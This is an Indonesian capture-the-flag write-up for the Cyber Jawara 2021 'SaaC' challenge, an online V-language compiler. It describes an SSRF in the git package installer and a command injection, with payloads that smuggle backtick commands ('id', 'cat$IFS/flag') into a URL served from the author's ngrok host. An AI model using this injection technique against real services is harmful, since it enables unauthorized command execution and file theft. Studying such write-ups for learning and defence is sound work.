[Cyber Jawara 2021] SaaC
Diberikan soal dan sebuah website dengan deskripsi seperti berikut
Seperti pada deskripsi soal, website ini merupakan Service as a Compiler, atau bahasa gaulnya adalah Compiler Online. Compiler ini dikhususkan untuk bahasa pemrogramman V.
Tidak hanya Compiler saja, website juga menawarkan Install Package menggunakan VPM ataupun GIT.
Sedikit curhat, dari dulu saya selalu ingin solve suatu problem CTF dengan unintended solution, dan akhirnya untuk pertama kalinya saya solve problem dengan unintended solution yang akan dijelaskan pada write up kali ini
Terdapat celah SSRF (Server-Side Request Forgery) pada saat Install Package menggunakan GIT.
Jika kita lihat header pada request yang masuk, server menggunakan modul requests untuk memproses Install Package tadi.
Setelah membandingkan dengan menginstall package menggunakan GIT pada local komputer saya, request yang masuk akan berbeda.
Command
./v install --git http://ef60-180-252-90-0.ngrok.io
Pada saat install di local, request dari modul requests pada python tidak muncul.
Nah, saya mengansumsikan bahwa pada server terdapat pengecekan apakah Url yang diinputkan merupakan Url dari GIT atau bukan, dengan melakukan request terlebih dahulu menggunakan modul requests pada python.
Lalu saya coba copy HTML source salah satu package V yaitu ui dan coba saya serve menggunakan ngrok.
Masukan Url ngrok pada Install Package menggunakan GIT dan BOOM!, masuk satu request baru yang menyerupai request saat kita menginstall package pada local
Saya mengansumsikan flow dari soal tersebut seperti ini
Nah, dengan flow seperti itu saya pikir kita dapat melakukan Command Injection di Url pada step terakhir. Dan ternyata benar, dengan menyisipkan command pada backtick (`) maka command akan dieksekusi
Payload
http://649c-180-252-90-0.ngrok.io/?c=`id`
SIP! tinggal cat flag dan profit 📈
Payload
http://649c-180-252-90-0.ngrok.io/?c=`cat$IFS/flag`